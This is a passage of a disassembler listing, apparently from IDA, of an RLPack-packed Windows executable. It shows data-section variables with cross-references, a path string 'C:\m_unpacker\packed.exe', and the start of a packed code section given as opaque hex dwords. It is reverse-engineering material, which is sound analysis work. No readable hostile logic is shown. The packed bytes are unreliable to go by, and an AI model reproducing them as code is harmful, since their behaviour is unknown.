					; sub_40BD91:loc_40C0A6r
dword_4CDB48	dd 20h dup(0)		; DATA XREF: sub_40BD91+2E2o
					; sub_40BD91+302o
dword_4CDBC8	dd 0			; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC	dd 0			; DATA XREF: sub_40BD91+2EFw
					; sub_40BD91+30Fw
dword_4CDBD0	dd 0			; DATA XREF: sub_40BD91:loc_40C101r
		align 8
dword_4CDBD8	dd 0			; DATA XREF: sub_40BD91+82w
					; sub_40BD91+101o
dword_4CDBDC	dd 41h dup(0)		; DATA XREF: sub_40BD91+41o
dword_4CDCE0	dd 41h dup(0)		; DATA XREF: sub_40BD91+69o
dword_4CDDE4	dd 0			; DATA XREF: sub_40BD91+F7w
					; sub_40BD91+113r
dword_4CDDE8	dd 0			; DATA XREF: sub_40BD91+52w
dword_4CDDEC	dd 0			; DATA XREF: sub_40BD91+4Dw
					; sub_40BD91+D4r
dword_4CDDF0	dd 20h dup(0)		; DATA XREF: sub_40BD91+9Ao
					; sub_40BD91+BAo
dword_4CDE70	dd 0			; DATA XREF: sub_40BD91+8Fw
dword_4CDE74	dd 0			; DATA XREF: sub_40BD91+A7w
					; sub_40BD91+C7w
dword_4CDE78	dd 0			; DATA XREF: sub_40BD91:loc_40BEBAr
		align 10h
dword_4CDE80	dd 0			; DATA XREF: sub_40BD91+1A5w
					; sub_40BD91+225o
dword_4CDE84	dd 41h dup(0)		; DATA XREF: sub_40BD91+167o
dword_4CDF88	dd 41h dup(0)		; DATA XREF: sub_40BD91+18Co
dword_4CE08C	dd 0			; DATA XREF: sub_40BD91+21Bw
					; sub_40BD91+237r
dword_4CE090	dd 0			; DATA XREF: sub_40BD91+17Aw
dword_4CE094	dd 0			; DATA XREF: sub_40BD91+175w
					; sub_40BD91+1F8r
dword_4CE098	dd 20h dup(0)		; DATA XREF: sub_40BD91+1BEo
					; sub_40BD91+1DEo
dword_4CE118	dd 0			; DATA XREF: sub_40BD91+1B1w
dword_4CE11C	dd 0			; DATA XREF: sub_40BD91+1CBw
					; sub_40BD91+1EBw
dword_4CE120	dd 0			; DATA XREF: sub_40BD91:loc_40BFDEr
		align 8
dword_4CE128	dd 0			; DATA XREF: sub_40BD91+417w
					; sub_40BD91+470o
dword_4CE12C	dd 0A2h	dup(0)		; DATA XREF: sub_40BD91+405o
dword_4CE3B4	dd 41h dup(0)		; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8	dd 0			; DATA XREF: sub_40BD91+3FCw
					; sub_40BD91+423r
		align 10h
dword_4CE4C0	dd 0			; DATA XREF: sub_40BD91+466w
					; sub_40BD91+482r
dword_4CE4C4	dd 0			; DATA XREF: sub_40BD91+429w
dword_4CE4C8	dd 0			; DATA XREF: sub_40BD91+436w
dword_4CE4CC	dd 0			; DATA XREF: sub_40BD91+3F6w
		dd 0
dword_4CE4D4	dd 0			; DATA XREF: sub_40BD91:loc_40C229r
		dd 0
dword_4CE4DC	dd 0			; DATA XREF: sub_40B9DD+Er
					; sub_40B9DD+32r ...
dword_4CE4E0	dd 0			; DATA XREF: sub_40B9DD+9r
					; sub_40B9DD+26r ...
dword_4CE4E4	dd 82h dup(0)		; DATA XREF: sub_40C85F+8Do
dword_4CE6EC	dd 2 dup(0)		; DATA XREF: sub_40D1C8+68o
dword_4CE6F4	dd 0			; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8	dd 0			; DATA XREF: sub_40EED1+1Fr
					; sub_40EF1C+BCo ...
dword_4CE6FC	dd 0			; DATA XREF: sub_40EF1C+B7o
					; sub_40EF1C+DAr ...
dword_4CE700	dd 0			; DATA XREF: sub_40EF1C+9Ao
					; sub_40EF1C+CFr ...
dword_4CE704	dd 0			; DATA XREF: sub_40EE8E+35r
					; sub_40EF1C+95o ...
dword_4CE708	dd 0			; DATA XREF: sub_40EE8E+17r
					; sub_40EED1+3Dr ...
		align 10h
dword_4CE710	dd 0BA32h		; DATA XREF: sub_40BD91+2AEr
					; sub_40F0F1+10w ...
		align 8
dword_4CE718	dd 0			; DATA XREF: sub_40BA49+1Cr
					; sub_40F108+27Cw
dword_4CE71C	dd 0			; DATA XREF: sub_40F9BF+2Aw
					; sub_40F9BF+51r ...
		dd 3 dup(0)
dword_4CE72C	dd 0			; DATA XREF: sub_4111C0+146r
		dd 0
dword_4CE734	dd 0			; DATA XREF: sub_412EDD+4w
					; sub_412EDD+9o
		align 10h
byte_4CE740	db 0			; DATA XREF: sub_413A29+1D3w
					; sub_413A29+2D2o
		align 2
word_4CE742	dw 0			; DATA XREF: sub_413A29+1E3w
word_4CE744	dw 0			; DATA XREF: sub_413A29+1E9w
word_4CE746	dw 0			; DATA XREF: sub_413A29+1F0w
byte_4CE748	db 0			; DATA XREF: sub_413A29+1F7w
byte_4CE749	db 0			; DATA XREF: sub_413A29+1FEw
word_4CE74A	dw 0			; DATA XREF: sub_413A29+204w
dword_4CE74C	dd 0			; DATA XREF: sub_413A29+234w
					; sub_413A29+250w
dword_4CE750	dd 0			; DATA XREF: sub_413A29+258w
byte_4CE754	db 0			; DATA XREF: sub_413A29+26Aw
byte_4CE755	db 0			; DATA XREF: sub_413A29+27Dw
word_4CE756	dw 0			; DATA XREF: sub_413A29+295w
word_4CE758	dw 0			; DATA XREF: sub_413A29+2A4w
word_4CE75A	dw 0			; DATA XREF: sub_413A29+29Cw
dword_4CE75C	dd 101h	dup(0)		; DATA XREF: sub_413A29+2B9o
dword_4CEB60	dd 80h dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo ...
byte_4CED60	db 0			; DATA XREF: sub_4152D1+1A1w
					; sub_4152D1+27Ao
		align 2
word_4CED62	dw 0			; DATA XREF: sub_4152D1+1AEw
word_4CED64	dw 0			; DATA XREF: sub_4152D1+1B8w
word_4CED66	dw 0			; DATA XREF: sub_4152D1+1C1w
byte_4CED68	db 0			; DATA XREF: sub_4152D1+1C8w
byte_4CED69	db 0			; DATA XREF: sub_4152D1+1CFw
word_4CED6A	dw 0			; DATA XREF: sub_4152D1+1D6w
dword_4CED6C	dd 0			; DATA XREF: sub_4152D1+1E3w
dword_4CED70	dd 0			; DATA XREF: sub_4152D1+1EBw
word_4CED74	dw 0			; DATA XREF: sub_4152D1+244w
word_4CED76	dw 0			; DATA XREF: sub_4152D1+22Cw
word_4CED78	dw 0			; DATA XREF: sub_4152D1+256w
word_4CED7A	dw 0			; DATA XREF: sub_4152D1+1F7w
dword_4CED7C	dd 101h	dup(0)		; DATA XREF: sub_4152D1+265o
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		align 10h
byte_4CF190	db 0			; DATA XREF: sub_4157BA+241o
					; sub_4157BA+250w ...
byte_4CF191	db 0			; DATA XREF: sub_4157BA+264w
word_4CF192	dw 0			; DATA XREF: sub_4157BA+295w
word_4CF194	dw 0			; DATA XREF: sub_4157BA+27Cw
					; sub_4157BA:loc_415B8Cw
word_4CF196	dw 0			; DATA XREF: sub_4157BA+29Bw
byte_4CF198	db 0			; DATA XREF: sub_4157BA+288w
byte_4CF199	db 0			; DATA XREF: sub_4157BA+25Dw
word_4CF19A	dw 0			; DATA XREF: sub_4157BA+3F2w
					; sub_4157BA+41Cw
dword_4CF19C	dd 0			; DATA XREF: sub_4157BA:loc_415A83w
					; sub_4157BA+39Ar
dword_4CF1A0	dd 0			; DATA XREF: sub_4157BA+2D6w
word_4CF1A4	dw 0			; DATA XREF: sub_4157BA+394w
					; sub_4157BA+3E8o
word_4CF1A6	dw 0			; DATA XREF: sub_4157BA+335w
					; sub_4157BA+35Ar ...
dword_4CF1A8	dd 0			; DATA XREF: sub_4157BA+30Cw
					; sub_4157BA+3D9w
dword_4CF1AC	dd 0			; DATA XREF: sub_4157BA+328w
					; sub_4157BA+3ABw ...
byte_4CF1B0	db 0			; DATA XREF: sub_4157BA+311r
					; sub_4157BA+31Fw
byte_4CF1B1	db 0			; DATA XREF: sub_4157BA+2DBw
					; sub_4157BA+3A4w ...
word_4CF1B2	dw 0			; DATA XREF: sub_4157BA+2E9w
word_4CF1B4	dw 0			; DATA XREF: sub_4157BA+3F9w
					; sub_4157BA+42Aw
word_4CF1B6	dw 0			; DATA XREF: sub_4157BA+32Ew
word_4CF1B8	dw 0			; DATA XREF: sub_4157BA+360w
					; sub_4157BA+432o
word_4CF1BA	dw 0			; DATA XREF: sub_4157BA+36Fw
					; sub_4157BA+409w
dword_4CF1BC	dd 0			; DATA XREF: sub_4157BA+369w
		dd 2 dup(0)
dword_4CF1C8	dd 0			; DATA XREF: sub_4157BA+39Fw
					; sub_4157BA+417o
dword_4CF1CC	dd 0			; DATA XREF: sub_4157BA+33Bw
byte_4CF1D0	db 0			; DATA XREF: sub_4157BA+341w
byte_4CF1D1	db 0			; DATA XREF: sub_4157BA+347w
word_4CF1D2	dw 0			; DATA XREF: sub_4157BA+354w
dword_4CF1D4	dd 7 dup(0)		; DATA XREF: sub_4157BA+3EDo
dword_4CF1F0	dd 0			; DATA XREF: sub_4157BA+30w
					; sub_4157BA+43Br
dword_4CF1F4	dd 100h	dup(0)		; DATA XREF: sub_4157BA+1C3o
					; sub_4157BA+47Eo
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .packed:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; .packed:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; .packed:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; sub_41DA8B:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
dword_4DBDE8	dd 0A28h		; DATA XREF: sub_41E1D3+52w
dword_4DBDEC	dd 501h			; DATA XREF: sub_41E1D3+49w
dword_4DBDF0	dd 5			; DATA XREF: sub_41E1D3+3Ew
dword_4DBDF4	dd 1			; DATA XREF: sub_41E1D3+30w
dword_4DBDF8	dd 1			; DATA XREF: sub_401221:loc_401516r
					; sub_42378C+91w
dword_4DBDFC	dd 350B20h		; DATA XREF: sub_401221+2FEr
					; sub_401221+31Er ...
		dd 0
dword_4DBE04	dd 350B48h		; DATA XREF: sub_4236D3+44w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: sub_42378C+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: sub_41E1D3+84w
					; sub_4236D3:loc_4236E5r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r sub_41E2EEr ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: sub_4234F7+3Ar
					; sub_4234F7+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42378C:loc_4237A3o
					; .packed:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: sub_4239D9+2r
					; sub_4239D9+23w ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r ...
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426636+4Cw ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 1			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 351110h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: .packed:off_43D568o
					; .packed:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 350650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: sub_423B0B+92o
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41E6CF+3Cw
					; sub_41ED74+5r ...
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E6CF+31w
					; sub_41E742+311w ...
dword_4DD374	dd 0			; DATA XREF: sub_41E6CF+21w
					; sub_41E742+22Dr ...
dword_4DD378	dd 0			; DATA XREF: sub_41E6CF+28w
					; sub_41E717r ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E6CF+15w
					; sub_41E717+8r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 350000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: sub_41E1D3+7Aw
					; sub_42367B+Fr ...
dword_4DD390	dd 1			; DATA XREF: sub_4236D3+ADw
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 35075Ch		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 350758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7FAh dup(0)
_packed		ends

; Section 2. (virtual address 000E0000)
; Virtual size			: 0001ACD7 ( 109783.)
; Section size in file		: 0001ACD7 ( 109783.)
; Offset to raw	data for section: 000E0000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 4E0000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0EC8B0055h, 57565351h, 903850BFh, 0F6330342h, 79124BBh
		dd 0FC458D0Eh, 6847FE56h, 0F0F073Fh, 77FF0218h,	37750473h
		dd 0B988150Eh, 7539004Ch, 0FB1C7408h, 11E80A80h, 59C0A901h
		dd 6A155067h, 32535693h, 0F83EFC0Eh, 910AEB22h,	4814380Ch
		dd 8383B009h, 0EB8108C7h, 72BB0068h, 5B5E5FA8h,	8B0EC3C9h
		dd 8E082444h, 56048054h, 1FFCE83h, 2574C085h, 0BD8D5753h
		dd 2C07060h, 0DE8B028Ah, 1DC17223h, 58C333D9h, 850444EEh
		dd 9172202Ah, 4F07F074h, 5B5FE675h, 0F75EC6F0h,	0A7C350D0h
		dd 57DB3A33h, 0B5AEFBE0h, 245004C7h, 7477FF54h,	0F08B1414h
		dd 8FA23B12h, 0FC8559F8h, 0F62A74C0h, 1B100C47h, 58432875h
		dd 0E2AB2D1Bh, 0F62C203Ah, 0A9571428h, 1E448D0Ch, 0C0500CFFh
		dd 83FAAA2Fh, 0EB0E10C4h, 85C033D6h, 28194B1Bh,	8BD870F8h
		dd 9119A0D8h, 3B06A157h, 0C38B3F8Ah, 1D49BAAEh,	5C1A8139h
		dd 22A04202h, 0E91C35FFh, 15E44361h, 0D546BA6Ch, 83A53169h
		dd 4B92C16h, 1D8B0620h,	8F705080h, 32647E6Ah, 10CA33D3h
		dd 57F04140h, 70AF69A0h, 18C244F8h, 9B565EACh, 18B00F0Eh
		dd 0BEE77589h, 8DA2BC04h, 0FDA4850Eh, 670032FFh, 88B845C7h
		dd 0EAED9DBh, 62BB8D8h,	0DC7D8966h, 977C6CA2h, 0FE42A840h
		dd 78EAEE6Fh, 0BDA4370Fh, 3793FE95h, 286A2C14h,	24A475CBh
		dd 8A7408F9h, 25144EA5h, 0F07B0182h, 0BD70358Bh, 16D6B323h
		dd 60A7DF4h, 80C71045h,	0A8EBBDB0h, 241A59D3h, 8319A364h
		dd 2208C498h, 0E9896C71h, 2D040E9h, 98DB680Ah, 539A92Eh
		dd 1DFA0C2h, 1059D17Bh,	76B710A3h, 88080493h, 807EA809h
		dd 655D89C9h, 1F406F8h,	111DFCAFh, 65E52240h, 4E1D35E0h
		dd 72589CAh, 18B0F032h,	0B918D233h, 0F71E03E8h,	14A336F1h
		dd 0FF842089h, 59B8B212h, 9893741h, 0EE92026Ah,	68444380h
		dd 0DF247530h, 539CC6A4h, 32AC2473h, 0A80E5071h, 4A023D22h
		dd 8C5B440Bh, 7CE6809Fh, 685080F7h, 64870249h, 6D904424h
		dd 2A0FC33Bh, 28A72985h, 641ABD80h, 54161A02h, 338A3CCEh
		dd 223C1F7Dh, 66AE0621h, 29FC1021h, 0FD144254h,	0A4DF2313h
		dd 1B167815h, 11C1FB10h, 29F90C0Eh, 0D23B2553h,	0B1B312B2h
		dd 1F6B251Fh, 9AC86841h, 0FAC63247h, 60238991h,	92F26349h
		dd 0E0E81937h, 101C6C92h, 0B82A868Ch, 1D391581h, 0BE16E18Ch
		dd 74564408h, 0FFBFC231h, 83763AC6h, 2893044Ch,	0C20F2B23h
		dd 61991A6Ah, 8056F9F7h, 508861E4h, 0AE472597h,	0F83B0A21h
		dd 53BFDD72h, 0FE181010h, 0F9C0681Ah, 0A666224h, 0C4481410h
		dd 8316A091h, 120A0AF8h, 0EC806626h, 9C45DB84h,	42988F43h
		dd 532B180Dh, 693399A3h, 759F43D6h, 94151018h, 0F4FB3B3Bh
		dd 207CC329h, 0A730574h, 74901FF4h, 98685F09h, 8068113Ah
		dd 2977395Fh, 0A274C7EBh, 0E0771483h, 6A850D59h, 886C3407h
		dd 5342E0F6h, 381C85C6h, 53F930E5h, 12B51487h, 2885C70Dh
		dd 48F2220Dh, 4C9D1BEBh, 5EE43217h, 8C2C4834h, 77CB8A90h
		dd 8010FC2Ah, 0A1718C42h, 0FF5D5178h, 0F6780F88h, 1EB46809h
		dd 0E9146F06h, 0E49D6C94h, 8653E589h, 2B84EC1Bh, 0B425FAD4h
		dd 902820DCh, 0DE4AE1C0h, 0E02CBD48h, 0A6E47127h, 53C4C90Ah
		dd 0B8375D8h, 4DBDF83Dh, 437E1400h, 11C3FCA1h, 1C0470FFh
		dd 6E59B1E3h, 126A124Fh, 0FA6668Fh, 204014EDh, 74085839h
		dd 0D0681519h, 35905B07h, 881C08CCh, 9004418Ah,	10E67413h
		dd 13F7A44Dh, 3F620D75h, 0E178E450h, 0AA604624h, 0D57588BDh
		dd 12495359h, 0A32082DEh, 20D92BAh, 41384D1Ah, 53020BDAh
		dd 3DAAF7E2h, 3224E555h, 1E15743Eh, 2A3FE96Ah, 91B38322h
		dd 4273843Dh, 301CF824h, 419F4D7Ch, 0D70270B1h,	0CA34F669h
		dd 894A6050h, 0D6245D86h, 621B7513h, 5199500Eh,	0CA642334h
		dd 63D2840Ch, 0A6B13ABDh, 394C59A4h, 2D6C7594h,	0F97E08CAh
		dd 78450F02h, 0BFDD641h, 0D4E1784Ah, 59CB0F99h,	837F2E30h
		dd 703E02Ch, 5D759010h,	0A30E581Ch, 30B2B888h, 6CA1D00Bh
		dd 3F6A29C1h, 2DB69CBFh, 5715198Ah, 981C6CA3h, 84DCBE2Eh
		dd 0AA5612EBh, 89863912h, 0B041701Dh, 68FC1BCAh, 1C2A3918h
		dd 7E02E84h, 3F07ED58h,	0F0450202h, 49BE840Fh, 1750399Dh
		dd 6FFF0374h, 0B294E4Dh, 0FCB03896h, 8C7D8339h,	0CC57C06h
		dd 520264F0h, 0F45D2095h, 9D405174h, 95469A0Eh,	1FB99090h
		dd 807A6B8Bh, 38FC067Fh, 2FE46C1Dh, 429167A2h, 0F1D89837h
		dd 85F81870h, 7891086Eh, 0F44B45C7h, 4A504751h,	25FA438h
		dd 5BC0335Eh, 58C2C2C9h, 906FCCE4h, 8450047h, 996A5756h
		dd 0BD8D05D1h, 0F3239070h, 8034C7A5h, 3E123160h, 85D7C089h
		dd 0C1ABA8Ah, 0E909AC66h, 9A592FAFh, 0B9C714D4h, 9B81F2F4h
		dd 0C00DFE74h, 0B9AF098h, 0B8F424CAh, 203BF214h, 9BD4421Ch
